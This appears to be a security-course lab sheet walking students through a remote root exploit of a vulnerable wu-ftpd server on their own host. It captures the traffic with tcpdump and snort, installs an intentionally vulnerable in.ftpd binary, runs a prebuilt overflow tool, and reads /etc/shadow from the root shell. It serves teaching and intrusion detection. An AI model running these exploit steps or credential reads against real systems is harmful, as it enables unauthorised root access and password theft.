Remote root exploit through buffer overflow
tcpdump -s 2000 -w ftpdump port 21
ftp ntecxxx Connected to ntecxxx. 220 ntec16-36 FTP server (Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000) ready. 530 Please login with USER and PASS. 530 Please login with USER and PASS. KERBEROS_V4 rejected as an authentication type Name (ntecxxx:shlam): ftp 331 Guest login ok, send your complete e-mail address as password. Password: 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> site (arguments to SITE command) EXEC HELP 200-help 200 (end of 'help') ftp> quit 221-You have transferred 0 bytes in 0 files. 221-Total traffic for this session was 451 bytes in 0 transfers. 221-Thank you for using the FTP service on ntec16-36. 221 Goodbye.
/usr/local2/bin/snort -devr ftpdump |moreSave this dump file. You may need it for later assignment
cp -p /usr/sbin/in.ftpd /usr/sbin/in.ftpd.orig
cp /usr/local2/wsh/bo/in.ftpd.vul /usr/sbin/in.ftpd
tcpdump -s 2000 -w ftpdump_attack port 21
/usr/local2/wsh/bo/boftp -t 7 yourhost
type "whoami" and "hostname" command to confirm your break-in after you get a root shell at your host.
Type some commands in the root shell, says "cat /etc/shadow"
cp /usr/sbin/in.ftpd.orig /usr/sbin/in.ftpd
/usr/local2/bin/snort -devr ftpdump_attack |more
Post all your findings on your web page.